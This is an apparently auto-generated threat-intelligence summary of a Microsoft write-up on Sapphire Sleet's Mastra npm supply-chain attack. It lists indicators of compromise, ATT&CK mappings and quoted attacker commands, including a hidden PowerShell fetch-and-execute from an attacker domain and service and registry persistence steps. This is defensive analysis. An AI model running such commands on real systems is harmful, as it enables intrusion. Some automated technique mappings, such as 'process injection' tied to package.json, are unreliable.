Microsoft · Vendor blog
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet
Published · Source: Microsoft
Entities & attribution
Tool
Cobalt Strike
“…er, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks re…”
Page 1 · Paragraph 70
Artifact
cmd.exe
“…s Run2 method with a second downloaded payload, the path to cmd.exe , and the C2 callback address:”
Page 1 · Paragraph 75
Artifact
powershell.exe
“…cy","Bypass","-File",$tempFile) + $uid + $url Start-Process powershell.exe -WindowStyle Hidden -ArgumentList $cln”
Page 1 · Paragraph 102
Artifact
svchost.exe
“sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\Curre…”
Page 1 · Paragraph 104
Artifact
scdev.dll
“…eters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”
Page 1 · Paragraph 104
Infrastructure
OneDrive
“…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”
Page 1 · Paragraph 116
Artifact
node.exe
“… | where Timestamp > ago(7d) | where FileName in ("node", "node.exe") | where ProcessCommandLine has "setup.cjs" or ProcessCo…”
Page 1 · Paragraph 150
MITRE ATT&CK behaviors
T1055 · Process Injection
Privilege Escalation · Process injection
“Dependency injection: the poisoned package.json”
Page 1 · Paragraph 3
T1071.001 · Web Protocols
Command and Control · C2 over HTTPS
“…ication, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and exe…”
Page 1 · Paragraph 18
T1059.001 · PowerShell
Execution · PowerShell execution
“…nt established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established addition…”
Page 1 · Paragraph 29
T1547.001 · Registry Run Keys
Persistence · Registry Run key
“Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ …”
Page 1 · Paragraph 79
T1574.002 · DLL Side-Loading
Defense Evasion · DLL sideloading
“… /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”
Page 1 · Paragraph 104
T1567.002 · Exfiltration to Cloud Storage
Exfiltration · Cloud service C2 / exfil
“…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”
Page 1 · Paragraph 116
Indicators of compromise
domain
tutamail[.]com“…b repository. Both the compromised publisher ( ehindero2016@tutamail.com ) and the typosquat publisher ( sergey2016@tutamail.com ) u…”
Page 1 · Paragraph 33
domain
outlook[.]com“Maintainer iamkun kunhello@outlook[.]com > sergey2016 sergey2016@tutamail[.]com >”
Page 1 · Paragraph 41
domain
github[.]com“Repository URL github.com/iamkun/dayjs github.com/iamkun/dayjs (copied)”
Page 1 · Paragraph 43
ipv4
23.254.164[.]123“Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references ( node:child_pro…”
Page 1 · Paragraph 61
ipv4
23.254.164[.]92“…-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.”
Page 1 · Paragraph 69
registry
HKCU\…\CurrentVersion\Run“Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ NvmProtocal”
Page 1 · Paragraph 79
filepath
C:\ProgramData\NodePackages“Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ NvmProtocal”
Page 1 · Paragraph 79
domain
teams.onweblive[.]org“powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"”
Page 1 · Paragraph 93
filepath
C:\ProgramData\system[.]bat“…ant’s NvmProtocal Run key. It writes a hidden batch file to C:\ProgramData\system.bat and registers it under a deceptive Run key value named Micr…”
Page 1 · Paragraph 99
filepath
C:\Windows\System32“…ator escalates by adding a Microsoft Defender exclusion for C:\Windows\System32 to suppress detection of dropped tooling, then installs a p…”
Page 1 · Paragraph 103
registry
HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters“…tem32\svchost.exe -k scdev" type= share start= auto reg add HKLM\SYSTEM\CurrentControlSet\services\scdev\Parameters /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev…”
Page 1 · Paragraph 104
domain
maskasd[.]com“maskasd[.]com Domain Post Compromise C2 beacon domain”
Page 1 · Paragraph 161
sha256
B122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4“B122A9873BEDF145AE2A7FD024B5F309007DBB025149F4DC4AC3F7E4F32A36A4 SHA-256 setup.cjs (malicious postinstall dropper)”
Page 1 · Paragraph 165
sha256
AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185“AE70DD4F6BC0D1C8C2848E4E6B51934626C4818DCB5AF99D080DDBD7DC337185 SHA-256 easy-day-js-1.11.22.tgz (weaponized tarball)”
Page 1 · Paragraph 166
sha256
4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417“4A8860240E4231C3A74C81949BE655A28E096A7D72F38FBE84E5B37636B98417 SHA-256 easy-day-js-1.11.21.tgz (clean bait tarball)”
Page 1 · Paragraph 167
sha256
B73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7E“B73DE25C053C3225A077738A1FCBD9CA6966D7B3CD6F5494A30F0AA0EAE55C7E SHA-256 mastra-1.13.1.tgz (compromised CLI tarball)”
Page 1 · Paragraph 168
sha256
221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf“221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf SHA-256 protocol.cjs”
Page 1 · Paragraph 169
sha256
50eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65“50eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65 SHA-256 Downloader and backdoor PowerShell script”
Page 1 · Paragraph 170
sha256
1d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526“1d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526 SHA256 Second stage Powershell Script”
Page 1 · Paragraph 171
Claims & evidence
Reported Claim
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits Process injection (T1055)
“Dependency injection: the poisoned package.json”
Page 1 · Paragraph 3
Reported Claim
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits C2 over HTTPS (T1071.001)
“…ication, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and exe…”
Page 1 · Paragraph 18
Reported Claim
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits PowerShell execution (T1059.001)
“…nt established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established addition…”
Page 1 · Paragraph 29
Reported Claim
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits Registry Run key (T1547.001)
“Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ …”
Page 1 · Paragraph 79
Reported Claim
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits DLL sideloading (T1574.002)
“… /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”
Page 1 · Paragraph 104
Reported Claim
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet exhibits Cloud service C2 / exfil (T1567.002)
“…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”
Page 1 · Paragraph 116
Inferred Relationship
Process injection precedes C2 over HTTPS
“…ication, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and exe…”
Page 1 · Paragraph 18
Inferred Relationship
C2 over HTTPS precedes PowerShell execution
“…nt established C2 communication, Sapphire Sleet delivered a PowerShell backdoor from separate infrastructure, established addition…”
Page 1 · Paragraph 29
Inferred Relationship
PowerShell execution precedes Registry Run key
“Windows Registry Run key ( HKCU\…\CurrentVersion\Run ) C:\ProgramData\NodePackages\ …”
Page 1 · Paragraph 79
Inferred Relationship
Registry Run key precedes DLL sideloading
“… /v ServiceDll /t REG_EXPAND_SZ /d c:\windows\system32\scdev.dll /f”
Page 1 · Paragraph 104
Inferred Relationship
DLL sideloading precedes Cloud service C2 / exfil
“…osted on attacker-controlled cloud storage services such as OneDrive or Google Drive, using domains masquerading as financial in…”
Page 1 · Paragraph 116
Reported Claim
tutamail.com used as network infrastructure
“…b repository. Both the compromised publisher ( ehindero2016@tutamail.com ) and the typosquat publisher ( sergey2016@tutamail.com ) u…”
Page 1 · Paragraph 33
Reported Claim
outlook.com used as network infrastructure
“Maintainer iamkun kunhello@outlook[.]com > sergey2016 sergey2016@tutamail[.]com >”
Page 1 · Paragraph 41
Reported Claim
github.com used as network infrastructure
“Repository URL github.com/iamkun/dayjs github.com/iamkun/dayjs (copied)”
Page 1 · Paragraph 43
Reported Claim
23.254.164.123 used as network infrastructure
“Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references ( node:child_pro…”
Page 1 · Paragraph 61
Reported Claim
23.254.164.92 used as network infrastructure
“…-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.”
Page 1 · Paragraph 69
Reported Claim
teams.onweblive.org used as network infrastructure
“powershell -w h -c "iwr -UseBasicParsing https[:]//teams[.]onweblive[.]org/api/update/8555575039/4|iex"”
Page 1 · Paragraph 93
Lore Hypothesis
Investigation hypothesizes A loader sideloaded via a signed binary stages an in-memory implant
“Dependency injection: the poisoned package.json”
Page 1 · Paragraph 3
Lore Hypothesis
Investigation hypothesizes Data exfiltration occurred through cloud storage
“Dependency injection: the poisoned package.json”
Page 1 · Paragraph 3